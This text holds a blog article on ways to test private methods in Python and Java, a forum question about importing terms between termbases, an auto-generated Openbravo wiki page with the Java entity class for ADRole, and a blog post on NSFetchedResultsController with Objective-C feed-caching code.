To test a method you need to execute it, but calling private methods directly can be hard or even impossible, depending on the programming language you use. In this article I?ll primarily speak about Python and Java, but the described techniques surely can be applied to many other languages (but I can?t be sure about all of them).
What is a private method?
Have you ever asked yourself, why do you even need private methods? You need private data to maintain consistency, but why private methods?
Strictly speaking, you don?t. But they still be helpful at least for two major reasons:
• You want to extract some code that works with private data;
• You want to extract some code that doesn?t work with private data, but still doesn?t suit API (because user simple doesn?t care).
While the first one prevents private data corruption, the second merely makes your API cleaner.
Don?t test it
Surprisingly, when I first came to Java programming and googled ?How to test private method in Java?, the most popular answer was something like ?Why do you want to test private methods? Users call public methods, test them instead?.
Well, that sounds crazy for me. I surely can just ignore the fact that a public methods call a private one, just imagine that private method code is inlined, but that means that code of the private method will be tested again and again with every public method that calls the private one.
In the following example you really want to test private method, not the two almost identical public ones.
One can notice that some refactoring can allow me not to test the private method. That?s true and we will talk about it later. But testing _set_status without any changes is still clean and reasonable way to do. I don?t buy this ?don?t test private methods?.
Just call it
The simplest and most straightforward way to call a private method is, you know, call it. And that?s exactly what we do in Python and other languages that has private by convention (e. g. Perl).
To ?just call it? in Java we need to change visibility of the method.
The first way is to make method package private (no access modifier) and put tests into the same package. This is a fairly common practice, but you still might want (or already have) another code structure.
The second way is to make method public. To let people know you still don?t want to call this method you can use @VisibleForTestingannotation from Guava or any other convention you like (that?s actually what Python and Perl do). By the way, IDEA totally understands that annotation and will warn you about using such public method outside of tests.
Nested class
You can also put a test class inside a tested one (at least in Java), but that doesn?t look great. You have to use the same file for both classes, and your production binaries will actually contain test code.
Reflection
In some languages reflections will do fine, in Ruby it?s that simple:
But in Java such code is so heavy I gave up on idea of providing an example here. More than this, you have to abandon all cool stuff your favourite IDE does for you.
Eliminate private
Personally I prefer the ?just call it? method, and I like to use @VisibleForTesting in Java to make it happen.
But let us talk again about refactoring that allows me avoiding testing private methods (by eliminating them).
The point is to merge all private data and private methods into an object of another class that contains no private methods or data, but put the instance of that class into the only private attribute of the original class. Doesn?t sound simple, but it is, consider examples:
Before:
After:
So now you can freely test EntityPrivateData, the only thing that remains private is data attribute. Like I said before, you actually don?t need private methods, only private data.
The described method can be useful not only for testing private methods, but also for more expressive design of your software. You can use any number of such private data classes so they have more sense semantically, not only technically.
For me, the most important thing about this pattern is that it proves that you technically can eliminate all private methods. But I still doubt that it?s reasonable to do it every time, your code can bloat without any significant benefit.
This article was written with the help of Nikolay Rys.
See also
Testing private methods: easier than you think! – Axel Fontaine – Entrepreneur, Architect?
Why make things simple when you can also make them hard and long-winded? Haven’t you always been dreaming of needing 10?
axelfontaine.com
How do I test a class that has private methods, fields or inner classes?
How do I use JUnit to test a class that has internal private methods, fields or nested classes? It seems bad to change?
stackoverflow.com
No Responses
Write a response | __label__pos | 0.698237 |
Importing entries from one termbase into another one with different termbase definitions
We created a brand new termbase for our team with MT 2021. We are now trying to import terms from our legacy termbase (also MT 2021) into the new, empty termbase. However, the termbase definitions of the two termbases are different. How can I still get the data into the new termbase? So far, I have not been able to import a single term. Is there now way to import the fields that match and to leave the other fields blank so that we can edit them later? Sure there must be any other way than manually adding all the terms again.
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ERP/3.0/Developers Guide/Reference/Entity Model/ADRole
This article is protected against manual editing because it is automatically generated from Openbravo meta-data. Learn more about writing and translating such documents.
Back button.png Back to ERP/3.0/Developers_Guide/Reference/Entity_Model#ADRole
ADRole
Define the role and add the client and organizations the role has access to. You can give users access to this role and modify the access of this role to windows, forms, processes and reports as well as tasks.
If the Role User Level is Manual, the as Select Role for with Data Access Restrictions
To the database table (AD_Role) of this entity.
Properties
Note:
Property Column Constraints Type Description
id* AD_Role_ID Mandatory
Max Length: 32
java.lang.String The Role determines security and access a user who has this Role will have in the System.
client AD_Client_ID Mandatory
ADClient A Client is a company or a legal entity. You cannot share data between Clients.
organization AD_Org_ID Mandatory
Organization An organization is a unit of your client or legal entity - examples are store, department. You can share data between organizations.
active IsActive Mandatory
java.lang.Boolean There are two methods of making records unavailable in the system: One is to delete the record, the other is to de-activate the record. A de-activated record is not available for selection, but available for reporting. There are two reasons for de-activating and not deleting records:
(1) The system requires the record for auditing purposes. (2) The record is referenced by other records. E.g., you cannot delete a Business Partner, if there are existing invoices for it. By de-activating the Business Partner you prevent it from being used in future transactions.
creationDate Created Mandatory
java.util.Date The Created field indicates the date that this record was created.
createdBy CreatedBy Mandatory
ADUser The Created By field indicates the user who created this record.
updated Updated Mandatory
java.util.Date The Updated field indicates the date that this record was updated.
name# Name Mandatory
Max Length: 60
java.lang.String A more descriptive identifier (that does need to be unique) of a record/document that is used as a default search option along with the search key (that is unique and mostly shorter). It is up to 60 characters in length.
updatedBy UpdatedBy Mandatory
ADUser The Updated By field indicates the user who updated this record.
description Description Max Length: 255
java.lang.String A description is limited to 255 characters.
userLevel UserLevel Mandatory
Max Length: 60
java.lang.String The User Level field determines if users of this Role will have access to System level data, Organization level data, Client level data or Client and Organization level data.
currency C_Currency_ID Currency Indicates the currency to be used when processing this document.
approvalAmount AmtApproval java.math.BigDecimal The Approval Amount field indicates the amount limit this Role has for approval of documents.
primaryTreeMenu AD_Tree_Menu_ID ADTree Tree Menu
manual IsManual java.lang.Boolean The Manual check box indicates if the process will done manually.
processNow Processing java.lang.Boolean When this field is set as 'Y' a process is being performed on this record.
clientAdmin IS_Client_Admin Mandatory
java.lang.Boolean Defines the role as an administrator of the client it belongs to.
advanced IsAdvanced Mandatory
java.lang.Boolean Automatic (non manual) advanced roles are granted with features checked as advanced.
isrestrictbackend Isrestrictbackend Mandatory
java.lang.Boolean If checked, this role will not have access to the backend (ERP). It will however have access to other applications (such as the WebPOS)
forPortalUsers IsPortal Mandatory
java.lang.Boolean If checked, this role will have a simplified (portal) interface, where it only has available the workspace widgets.
portalAdmin IsPortalAdmin Mandatory
java.lang.Boolean If checked, the Portal Role will have Portal Administrator privileges
isWebServiceEnabled IsWebServiceEnabled Mandatory
java.lang.Boolean If checked, web services will be able to obtain data for users with this role. It applies to both JSON REST and XML REST web services
template IsTemplate Mandatory
java.lang.Boolean Template is checked when the element is used as a template.
recalculatePermissions Recalculatepermissions java.lang.Boolean This process recalculates role permissions, based on the role inheritance defined. Depending on the role type the behavior varies:
- If the role is a template one, the permissions for the role will be recalculated and also propagated to every role which is currently inheriting from this template. - If the role is not marked as template, just the permissions for this role are recalculated. For details - http://wiki.openbravo.com/wiki/Role#Permissions_Inheritance
aDAlertRecipientList ADAlertRecipient
aDFormAccessList ADFormAccess
aDPreferenceVisibleAtRoleList ADPreference
aDProcessAccessList ADProcessAccess
aDRoleInheritanceInheritFromList ADRoleInheritance
aDRoleInheritanceList ADRoleInheritance
aDRoleOrganizationList ADRoleOrganization
aDTableAccessList ADTableAccess
aDUserRolesList ADUserRoles
aDWindowAccessList ADWindowAccess
oBKMOWidgetClassAccessList OBKMO_WidgetClassAccess
oBUIAPPProcessAccessList OBUIAPP_Process_Access
obuiappViewRoleAccessList obuiapp_ViewRoleAccess
Java Entity Class
/*
*************************************************************************
* The contents of this file are subject to the Openbravo Public License
* Version 1.1 (the "License"), being the Mozilla Public License
* Version 1.1 with a permitted attribution clause; you may not use this
* file except in compliance with the License. You may obtain a copy of
* the License at http://www.openbravo.com/legal/license.html
* Software distributed under the License is distributed on an "AS IS"
* basis, WITHOUT WARRANTY OF ANY KIND, either express or implied. See the
* License for the specific language governing rights and limitations
* under the License.
* The Original Code is Openbravo ERP.
* The Initial Developer of the Original Code is Openbravo SLU
* All portions are Copyright (C) 2008-2019 Openbravo SLU
* All Rights Reserved.
* Contributor(s): ______________________________________.
************************************************************************
*/
package org.openbravo.model.ad.access;
import java.math.BigDecimal;
import java.util.ArrayList;
import java.util.Date;
import java.util.List;
import org.openbravo.base.structure.ActiveEnabled;
import org.openbravo.base.structure.BaseOBObject;
import org.openbravo.base.structure.ClientEnabled;
import org.openbravo.base.structure.OrganizationEnabled;
import org.openbravo.base.structure.Traceable;
import org.openbravo.client.application.ViewRoleAccess;
import org.openbravo.client.myob.WidgetClassAccess;
import org.openbravo.model.ad.alert.AlertRecipient;
import org.openbravo.model.ad.domain.Preference;
import org.openbravo.model.ad.system.Client;
import org.openbravo.model.ad.utility.Tree;
import org.openbravo.model.common.currency.Currency;
import org.openbravo.model.common.enterprise.Organization;
/**
* Entity class for entity ADRole (stored in table AD_Role).
*
* NOTE: This class should not be instantiated directly. To instantiate this
* class the {@link org.openbravo.base.provider.OBProvider} should be used.
*/
public class Role extends BaseOBObject implements Traceable, ClientEnabled, OrganizationEnabled, ActiveEnabled {
private static final long serialVersionUID = 1L;
public static final String TABLE_NAME = "AD_Role";
public static final String ENTITY_NAME = "ADRole";
public static final String PROPERTY_ID = "id";
public static final String PROPERTY_CLIENT = "client";
public static final String PROPERTY_ORGANIZATION = "organization";
public static final String PROPERTY_ACTIVE = "active";
public static final String PROPERTY_CREATIONDATE = "creationDate";
public static final String PROPERTY_CREATEDBY = "createdBy";
public static final String PROPERTY_UPDATED = "updated";
public static final String PROPERTY_NAME = "name";
public static final String PROPERTY_UPDATEDBY = "updatedBy";
public static final String PROPERTY_DESCRIPTION = "description";
public static final String PROPERTY_USERLEVEL = "userLevel";
public static final String PROPERTY_CURRENCY = "currency";
public static final String PROPERTY_APPROVALAMOUNT = "approvalAmount";
public static final String PROPERTY_PRIMARYTREEMENU = "primaryTreeMenu";
public static final String PROPERTY_MANUAL = "manual";
public static final String PROPERTY_PROCESSNOW = "processNow";
public static final String PROPERTY_CLIENTADMIN = "clientAdmin";
public static final String PROPERTY_ADVANCED = "advanced";
public static final String PROPERTY_ISRESTRICTBACKEND = "isrestrictbackend";
public static final String PROPERTY_FORPORTALUSERS = "forPortalUsers";
public static final String PROPERTY_PORTALADMIN = "portalAdmin";
public static final String PROPERTY_ISWEBSERVICEENABLED = "isWebServiceEnabled";
public static final String PROPERTY_TEMPLATE = "template";
public static final String PROPERTY_RECALCULATEPERMISSIONS = "recalculatePermissions";
public static final String PROPERTY_ADALERTRECIPIENTLIST = "aDAlertRecipientList";
public static final String PROPERTY_ADFORMACCESSLIST = "aDFormAccessList";
public static final String PROPERTY_ADPREFERENCEVISIBLEATROLELIST = "aDPreferenceVisibleAtRoleList";
public static final String PROPERTY_ADPROCESSACCESSLIST = "aDProcessAccessList";
public static final String PROPERTY_ADROLEINHERITANCEINHERITFROMLIST = "aDRoleInheritanceInheritFromList";
public static final String PROPERTY_ADROLEINHERITANCELIST = "aDRoleInheritanceList";
public static final String PROPERTY_ADROLEORGANIZATIONLIST = "aDRoleOrganizationList";
public static final String PROPERTY_ADTABLEACCESSLIST = "aDTableAccessList";
public static final String PROPERTY_ADUSERROLESLIST = "aDUserRolesList";
public static final String PROPERTY_ADWINDOWACCESSLIST = "aDWindowAccessList";
public static final String PROPERTY_OBKMOWIDGETCLASSACCESSLIST = "oBKMOWidgetClassAccessList";
public static final String PROPERTY_OBUIAPPPROCESSACCESSLIST = "oBUIAPPProcessAccessList";
public static final String PROPERTY_OBUIAPPVIEWROLEACCESSLIST = "obuiappViewRoleAccessList";
public Role() {
setDefaultValue(PROPERTY_ACTIVE, true);
setDefaultValue(PROPERTY_MANUAL, true);
setDefaultValue(PROPERTY_PROCESSNOW, false);
setDefaultValue(PROPERTY_CLIENTADMIN, false);
setDefaultValue(PROPERTY_ADVANCED, false);
setDefaultValue(PROPERTY_ISRESTRICTBACKEND, false);
setDefaultValue(PROPERTY_FORPORTALUSERS, false);
setDefaultValue(PROPERTY_PORTALADMIN, false);
setDefaultValue(PROPERTY_ISWEBSERVICEENABLED, false);
setDefaultValue(PROPERTY_TEMPLATE, false);
setDefaultValue(PROPERTY_RECALCULATEPERMISSIONS, false);
setDefaultValue(PROPERTY_ADALERTRECIPIENTLIST, new ArrayList<Object>());
setDefaultValue(PROPERTY_ADFORMACCESSLIST, new ArrayList<Object>());
setDefaultValue(PROPERTY_ADPREFERENCEVISIBLEATROLELIST, new ArrayList<Object>());
setDefaultValue(PROPERTY_ADPROCESSACCESSLIST, new ArrayList<Object>());
setDefaultValue(PROPERTY_ADROLEINHERITANCEINHERITFROMLIST, new ArrayList<Object>());
setDefaultValue(PROPERTY_ADROLEINHERITANCELIST, new ArrayList<Object>());
setDefaultValue(PROPERTY_ADROLEORGANIZATIONLIST, new ArrayList<Object>());
setDefaultValue(PROPERTY_ADTABLEACCESSLIST, new ArrayList<Object>());
setDefaultValue(PROPERTY_ADUSERROLESLIST, new ArrayList<Object>());
setDefaultValue(PROPERTY_ADWINDOWACCESSLIST, new ArrayList<Object>());
setDefaultValue(PROPERTY_OBKMOWIDGETCLASSACCESSLIST, new ArrayList<Object>());
setDefaultValue(PROPERTY_OBUIAPPPROCESSACCESSLIST, new ArrayList<Object>());
setDefaultValue(PROPERTY_OBUIAPPVIEWROLEACCESSLIST, new ArrayList<Object>());
}
@Override
public String getEntityName() {
return ENTITY_NAME;
}
public String getId() {
return (String) get(PROPERTY_ID);
}
public void setId(String id) {
set(PROPERTY_ID, id);
}
public Client getClient() {
return (Client) get(PROPERTY_CLIENT);
}
public void setClient(Client client) {
set(PROPERTY_CLIENT, client);
}
public Organization getOrganization() {
return (Organization) get(PROPERTY_ORGANIZATION);
}
public void setOrganization(Organization organization) {
set(PROPERTY_ORGANIZATION, organization);
}
public Boolean isActive() {
return (Boolean) get(PROPERTY_ACTIVE);
}
public void setActive(Boolean active) {
set(PROPERTY_ACTIVE, active);
}
public Date getCreationDate() {
return (Date) get(PROPERTY_CREATIONDATE);
}
public void setCreationDate(Date creationDate) {
set(PROPERTY_CREATIONDATE, creationDate);
}
public User getCreatedBy() {
return (User) get(PROPERTY_CREATEDBY);
}
public void setCreatedBy(User createdBy) {
set(PROPERTY_CREATEDBY, createdBy);
}
public Date getUpdated() {
return (Date) get(PROPERTY_UPDATED);
}
public void setUpdated(Date updated) {
set(PROPERTY_UPDATED, updated);
}
public String getName() {
return (String) get(PROPERTY_NAME);
}
public void setName(String name) {
set(PROPERTY_NAME, name);
}
public User getUpdatedBy() {
return (User) get(PROPERTY_UPDATEDBY);
}
public void setUpdatedBy(User updatedBy) {
set(PROPERTY_UPDATEDBY, updatedBy);
}
public String getDescription() {
return (String) get(PROPERTY_DESCRIPTION);
}
public void setDescription(String description) {
set(PROPERTY_DESCRIPTION, description);
}
public String getUserLevel() {
return (String) get(PROPERTY_USERLEVEL);
}
public void setUserLevel(String userLevel) {
set(PROPERTY_USERLEVEL, userLevel);
}
public Currency getCurrency() {
return (Currency) get(PROPERTY_CURRENCY);
}
public void setCurrency(Currency currency) {
set(PROPERTY_CURRENCY, currency);
}
public BigDecimal getApprovalAmount() {
return (BigDecimal) get(PROPERTY_APPROVALAMOUNT);
}
public void setApprovalAmount(BigDecimal approvalAmount) {
set(PROPERTY_APPROVALAMOUNT, approvalAmount);
}
public Tree getPrimaryTreeMenu() {
return (Tree) get(PROPERTY_PRIMARYTREEMENU);
}
public void setPrimaryTreeMenu(Tree primaryTreeMenu) {
set(PROPERTY_PRIMARYTREEMENU, primaryTreeMenu);
}
public Boolean isManual() {
return (Boolean) get(PROPERTY_MANUAL);
}
public void setManual(Boolean manual) {
set(PROPERTY_MANUAL, manual);
}
public Boolean isProcessNow() {
return (Boolean) get(PROPERTY_PROCESSNOW);
}
public void setProcessNow(Boolean processNow) {
set(PROPERTY_PROCESSNOW, processNow);
}
public Boolean isClientAdmin() {
return (Boolean) get(PROPERTY_CLIENTADMIN);
}
public void setClientAdmin(Boolean clientAdmin) {
set(PROPERTY_CLIENTADMIN, clientAdmin);
}
public Boolean isAdvanced() {
return (Boolean) get(PROPERTY_ADVANCED);
}
public void setAdvanced(Boolean advanced) {
set(PROPERTY_ADVANCED, advanced);
}
public Boolean isRestrictbackend() {
return (Boolean) get(PROPERTY_ISRESTRICTBACKEND);
}
public void setRestrictbackend(Boolean isrestrictbackend) {
set(PROPERTY_ISRESTRICTBACKEND, isrestrictbackend);
}
public Boolean isForPortalUsers() {
return (Boolean) get(PROPERTY_FORPORTALUSERS);
}
public void setForPortalUsers(Boolean forPortalUsers) {
set(PROPERTY_FORPORTALUSERS, forPortalUsers);
}
public Boolean isPortalAdmin() {
return (Boolean) get(PROPERTY_PORTALADMIN);
}
public void setPortalAdmin(Boolean portalAdmin) {
set(PROPERTY_PORTALADMIN, portalAdmin);
}
public Boolean isWebServiceEnabled() {
return (Boolean) get(PROPERTY_ISWEBSERVICEENABLED);
}
public void setWebServiceEnabled(Boolean isWebServiceEnabled) {
set(PROPERTY_ISWEBSERVICEENABLED, isWebServiceEnabled);
}
public Boolean isTemplate() {
return (Boolean) get(PROPERTY_TEMPLATE);
}
public void setTemplate(Boolean template) {
set(PROPERTY_TEMPLATE, template);
}
public Boolean isRecalculatePermissions() {
return (Boolean) get(PROPERTY_RECALCULATEPERMISSIONS);
}
public void setRecalculatePermissions(Boolean recalculatePermissions) {
set(PROPERTY_RECALCULATEPERMISSIONS, recalculatePermissions);
}
@SuppressWarnings("unchecked")
public List<AlertRecipient> getADAlertRecipientList() {
return (List<AlertRecipient>) get(PROPERTY_ADALERTRECIPIENTLIST);
}
public void setADAlertRecipientList(List<AlertRecipient> aDAlertRecipientList) {
set(PROPERTY_ADALERTRECIPIENTLIST, aDAlertRecipientList);
}
@SuppressWarnings("unchecked")
public List<FormAccess> getADFormAccessList() {
return (List<FormAccess>) get(PROPERTY_ADFORMACCESSLIST);
}
public void setADFormAccessList(List<FormAccess> aDFormAccessList) {
set(PROPERTY_ADFORMACCESSLIST, aDFormAccessList);
}
@SuppressWarnings("unchecked")
public List<Preference> getADPreferenceVisibleAtRoleList() {
return (List<Preference>) get(PROPERTY_ADPREFERENCEVISIBLEATROLELIST);
}
public void setADPreferenceVisibleAtRoleList(List<Preference> aDPreferenceVisibleAtRoleList) {
set(PROPERTY_ADPREFERENCEVISIBLEATROLELIST, aDPreferenceVisibleAtRoleList);
}
@SuppressWarnings("unchecked")
public List<ProcessAccess> getADProcessAccessList() {
return (List<ProcessAccess>) get(PROPERTY_ADPROCESSACCESSLIST);
}
public void setADProcessAccessList(List<ProcessAccess> aDProcessAccessList) {
set(PROPERTY_ADPROCESSACCESSLIST, aDProcessAccessList);
}
@SuppressWarnings("unchecked")
public List<RoleInheritance> getADRoleInheritanceInheritFromList() {
return (List<RoleInheritance>) get(PROPERTY_ADROLEINHERITANCEINHERITFROMLIST);
}
public void setADRoleInheritanceInheritFromList(List<RoleInheritance> aDRoleInheritanceInheritFromList) {
set(PROPERTY_ADROLEINHERITANCEINHERITFROMLIST, aDRoleInheritanceInheritFromList);
}
@SuppressWarnings("unchecked")
public List<RoleInheritance> getADRoleInheritanceList() {
return (List<RoleInheritance>) get(PROPERTY_ADROLEINHERITANCELIST);
}
public void setADRoleInheritanceList(List<RoleInheritance> aDRoleInheritanceList) {
set(PROPERTY_ADROLEINHERITANCELIST, aDRoleInheritanceList);
}
@SuppressWarnings("unchecked")
public List<RoleOrganization> getADRoleOrganizationList() {
return (List<RoleOrganization>) get(PROPERTY_ADROLEORGANIZATIONLIST);
}
public void setADRoleOrganizationList(List<RoleOrganization> aDRoleOrganizationList) {
set(PROPERTY_ADROLEORGANIZATIONLIST, aDRoleOrganizationList);
}
@SuppressWarnings("unchecked")
public List<TableAccess> getADTableAccessList() {
return (List<TableAccess>) get(PROPERTY_ADTABLEACCESSLIST);
}
public void setADTableAccessList(List<TableAccess> aDTableAccessList) {
set(PROPERTY_ADTABLEACCESSLIST, aDTableAccessList);
}
@SuppressWarnings("unchecked")
public List<UserRoles> getADUserRolesList() {
return (List<UserRoles>) get(PROPERTY_ADUSERROLESLIST);
}
public void setADUserRolesList(List<UserRoles> aDUserRolesList) {
set(PROPERTY_ADUSERROLESLIST, aDUserRolesList);
}
@SuppressWarnings("unchecked")
public List<WindowAccess> getADWindowAccessList() {
return (List<WindowAccess>) get(PROPERTY_ADWINDOWACCESSLIST);
}
public void setADWindowAccessList(List<WindowAccess> aDWindowAccessList) {
set(PROPERTY_ADWINDOWACCESSLIST, aDWindowAccessList);
}
@SuppressWarnings("unchecked")
public List<WidgetClassAccess> getOBKMOWidgetClassAccessList() {
return (List<WidgetClassAccess>) get(PROPERTY_OBKMOWIDGETCLASSACCESSLIST);
}
public void setOBKMOWidgetClassAccessList(List<WidgetClassAccess> oBKMOWidgetClassAccessList) {
set(PROPERTY_OBKMOWIDGETCLASSACCESSLIST, oBKMOWidgetClassAccessList);
}
@SuppressWarnings("unchecked")
public List<org.openbravo.client.application.ProcessAccess> getOBUIAPPProcessAccessList() {
return (List<org.openbravo.client.application.ProcessAccess>) get(PROPERTY_OBUIAPPPROCESSACCESSLIST);
}
public void setOBUIAPPProcessAccessList(List<org.openbravo.client.application.ProcessAccess> oBUIAPPProcessAccessList) {
set(PROPERTY_OBUIAPPPROCESSACCESSLIST, oBUIAPPProcessAccessList);
}
@SuppressWarnings("unchecked")
public List<ViewRoleAccess> getObuiappViewRoleAccessList() {
return (List<ViewRoleAccess>) get(PROPERTY_OBUIAPPVIEWROLEACCESSLIST);
}
public void setObuiappViewRoleAccessList(List<ViewRoleAccess> obuiappViewRoleAccessList) {
set(PROPERTY_OBUIAPPVIEWROLEACCESSLIST, obuiappViewRoleAccessList);
}
}
Retrieved from "http://wiki.openbravo.com/wiki/ERP/3.0/Developers_Guide/Reference/Entity_Model/ADRole"
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Why You Should Use NSFetchedResultsController?
NSFetchedResultsController is a very useful class provided by the CoreData framework. It solves many performance issues you frequently run into while reading a large amount of data from database and displaying that data using a UITableview, UICollectionView or MKMapView. You should always use the fetched results controller unless you have a good reason not to. In this post, I would like to show you why using a fetched results controller is a good idea.
Consider an app that shows a list of news feed related to Apple products using a table view. We will call this app FeedLoader. When a row in feed table view is tapped, it shows more information about the feed in a detail view.
feed_loader_app.png
Initial Design #
We can approach the design of this app in multiple ways, but the one below will provide us a good context for discussing why not using a fetched results controller might not be a good idea.
without_fetchedresultscontroller_design.png
Although the figure above has a lot of boxes, the design is not that complicated. I will walk you through it. Not wanting to create a God class that consumes every responsibility in the app, I have created multiple classes each responsible for one thing. The app is primarily responsible for following tasks:
I won’t explain every aspect of the FeedLoader app in this post. I will highlight only those that are relevant to the discussion of NSFetchedResultsController. I have tried to write the code for FeedLoader in a clean way. Hopefully, you will be able to read it with relative ease.
Download News Feed #
Let’s assume that there exists a news feed service that provides API for fetching news published between certain dates. When the user enters the feed list view, the process of downloading the latest news feed is initiated. Once the feed is downloaded, we persist them in a local database. That way we don’t need to make unnecessary calls to the news feed service when we want to show the feed that was already downloaded in the past.
To keep things simple, we will read feed data from a JSON file stored locally instead of downloading it from a remote feed service. We can accommodate this change in our design by creating a protocol named FeedFetcher and a concrete class named FileFeedFetcher that conforms to this protocol.
@protocol FeedFetcher <NSObject>
- (void)fetchFeedWithCompletionHandler:
(void(^)(id JSON, NSError *error))handler;
@end
@interface FileFeedFetcher : NSObject <FeedFetcher>
@end
@implementation FileFeedFetcher
- (void)fetchFeedWithCompletionHandler:
(void (^)(id JSON, NSError *error))handler
{
NSString *filePath = [[NSBundle mainBundle] pathForResource:@"feeds"
ofType:@"json"];
NSData *jsonData = [NSData dataWithContentsOfFile:filePath];
NSError *error = nil;
NSArray *jsonObjects = [NSJSONSerialization JSONObjectWithData:jsonData
options:0
error:&error];
if (jsonObjects == nil) {
NSLog(@"Unable to parse feeds JSON: %@", error.description);
handler(nil, error);
}
else {
handler(jsonObjects, nil);
}
}
@end
In the future, when we actually download a list of feeds from a remote server, we can easily create a class named ServerFeedFetcher that conforms to the FeedFetcher protocol as well. We can then inject a server feed fetcher instead of a file feed fetcher without having to change anything in FeedManager.
feed_fetcher_interface.png
@implementation ObjectConfigurator
- (FeedManager *)feedManager {
FeedManager *feedManager = [[FeedManager alloc] init];
[feedManager setFeedFetcher:[[ServerFeedFetcher alloc] init]];
// ...
return feedManager;
}
@end
ObjectConfigurator provides a light-weight framework for injecting dependencies. You can checkout the create_basic_setup branch from FeedLoader repo to see its full implementation. Through out this blog post, I will ask you to checkout a specific branch so that you can see various stages of the app in code as we change its design iteratively.
Persist News Feed Locally #
Once the FeedManager has retrieved feed JSON (either from a remote service or a local JSON file), it tells FeedBuilder to build Feed objects from that JSON. FeedBuilder creates a new Feed object only if one with the same source URL already doesn’t exist in database. When the builder is done creating Feed objects, it will tell FeedDataManager to persist them in a local database. Finally, it returns the Feed objects back to the FeedManager.
FeedDataManager provides a layer of abstraction on top of Core Data. Instead of passing around the managed object context to any class that might need to query feed related data from the database and sprinkling complex fetch request code all over the place, we can simply ask FeedDataManager to perform specific data related task for us. For example, checking whether a Feed object with a specific source URL already exists or not.
Display News Feed #
FeedListViewController uses custom cells of type FeedCard to display the feed information in a UITableView. Rather than creating the cells itself, the list view controller delegates that task to an object that conforms to the FeedListDataSource protocol. (A default implementation of the FeedListDataSource protocol is provided in FeedListDefaultDataSource class). The data source accepts an array of Feed objects. When the table view needs to display a cell at a specific indexpath, it asks the data source to provide that cell. The data source then creates a FeedCard instance, populates it with feed data and gives it to the tableview.
Download and Cache Feed Image #
All information required to display a news feed is persisted in database except the image data. Feed objects store image URL but not the actual image data. A third party library called SDWebImage is used to asynchronously download images from a remote server and cache them locally on disk. SDWebImage adds a category to the UIImageView class. As a result, we can initiate the loading and caching of images by sending setImageWithURL:placeholderImage: message directly to the image view included in a feed card. Images are loaded only when needed, i.e., when a feed card is visible to the user.
UIImage *placeholder = [UIImage imageNamed:@"feedPlaceholderImage"];
[self.feedImageView sd_setImageWithURL:[NSURL URLWithString:feed.imageUrl]
placeholderImage:placeholder];
Caching Feed Data #
At this point, if you run the app second time, you will notice that the feed list is empty. The issue here is that FeedBuilder doesn’t create a new Feed object if one with the same source URL already exists in database.
@implementation FeedBuilder
- (NSArray *)feedsFromJSON:(NSArray *)JSON {
NSMutableArray *feedsArray = [NSMutableArray array];
for (NSDictionary *feedDict in JSON) {
if ([self feedExistsInDatabase:feedDict]) {
continue;
}
Feed *feed = [self.feedDataManager newFeed];
[self fillInDetailsForFeed:feed
fromDictionary:feedDict];
[feedsArray addObject:feed];
}
[self.feedDataManager saveData];
return [feedsArray copy];
}
@end
First time we run the app, there are no Feed objects stored in the database at all. Therefore, the builder creates five new feed objects and returns them to the feed manager. On the second run, the feed builder doesn’t create any because all five feed items in feeds.json file have already been persisted in the database. As a result, the builder returns an empty array to the feed manager. To fix this issue, we need to return locally saved feeds if the builder doesn’t create new ones. We could easily accomplish that by adding following code to buildFeedsFromJSON: method in FeedManager:
if ([feeds count] == 0) {
feeds = [self.feedDataManager allFeed];
}
However, that seems like a bit of a hack to me. Also, if you look inside feeds.json file, there are only five feed items in there. Therefore, loading them all into the feed list table view won’t cause any performance issues for now. In reality the number of news feed that needs to be displayed will be much higher than five. Although, Apple engineers have done a fantastic job of optimizing UITableView, we still need to take care of the issue of not loading too many table view rows up-front by ourselves. What we need here is a proper caching mechanism that will not only retrieve feeds from a local database if we are unable to fetch new ones from a remote server, but also is smart enough to not load too many rows unless the user needs them. This approach will make scrolling through the table view quite smooth. It will also prevent the overall memory footprint from increasing unnecessarily. Let’s start building a foundation for that caching mechanism. The first thing we need to do is create FeedCache class.
@class FeedBuilder;
@class FeedDataManager;
@interface FeedCache : NSObject
- (void)setFeedBuilder:(FeedBuilder *)feedBuilder;
- (void)setFeedDataManager:(FeedDataManager *)feedDataManager;
- (NSArray *)cachedFeed;
- (NSArray *)addFeedToCacheFromJSON:(NSArray *)feedJSON;
@end
@interface FeedCache ()
@property (nonatomic) FeedBuilder *feedBuilder;
@property (nonatomic) FeedDataManager *feedDataManager;
@end
@implementation FeedCache
- (NSArray *)cachedFeed {
return [self.feedDataManager allFeedSortedByKey:@"publishedDate"
ascending:NO];
}
- (NSArray *)addFeedToCacheFromJSON:(NSArray *)feedJSON {
NSMutableArray *feeds = [NSMutableArray array];
for (NSDictionary *feedDict in feedJSON) {
if ([self feedExistsInDatabase:feedDict]) {
continue;
}
Feed *feed = [self.feedDataManager newFeed];
[self.feedBuilder fillInDetailsForFeed:feed
fromJSON:feedDict];
[feeds addObject:feed];
}
[self.feedDataManager saveData];
[self sortFeedsByPublishedDate:feeds];
return [feeds copy];
}
- (BOOL)feedExistsInDatabase:(NSDictionary *)feed {
return [self.feedDataManager feedExistsWithSourceUrl:feed[@"url"]];
}
- (void)sortFeedsByPublishedDate:(NSMutableArray *)feeds {
[feeds sortUsingComparator:^NSComparisonResult(Feed *feed1, Feed *feed2) {
// The minus sign here has the effect of reversing
// order from ascending to descending.
return -[feed1.publishedDate compare:feed2.publishedDate];
}];
}
@end
When asked for cached feeds, FeedCache returns all feeds in the database stored thus far. It also allows us to add new feeds into the cache. It essentially means taking the feed JSON, creating new instances of Feed objects from that JSON, saving them into the database and returning them back to the caller. Now FeedManager can delegate the task of building Feed objects from JSON to FeedCache instead of FeedBuilder.
- (void)buildFeedsFromJSON:(NSArray *)JSON {
NSArray *newlyFetchedFeeds =
[self.feedCache addFeedToCacheFromJSON:JSON];
if ([self.delegate respondsToSelector:
@selector(feedManager:didReceiveFeeds:)])
{
[self.delegate feedManager:self
didReceiveFeeds:newlyFetchedFeeds];
}
}
Now when FeedManager is asked to fetch the latest feeds, it can simply return the ones in cache while the new ones are still being fetched.
- (NSArray *)fetchFeeds {
[self.feedFetcher fetchFeedWithCompletionHandler:
^(id JSON, NSError *error)
{
if (error) {
NSLog(@"Unable to fetch feeds.");
}
else {
[self buildFeedsFromJSON:JSON];
}
}];
return [self.feedCache cachedFeed];
}
The original problem of empty list when we run the app second time can now be solved by displaying the cached feeds when user enters the feed list view.
- (void)viewDidLoad {
// ...
[self fetchFeeds];
}
- (void)fetchFeeds {
NSArray *feeds = [self.feedManager fetchFeeds];
[self.dataSource setFeeds:feeds];
[self.feedTableView reloadData];
}
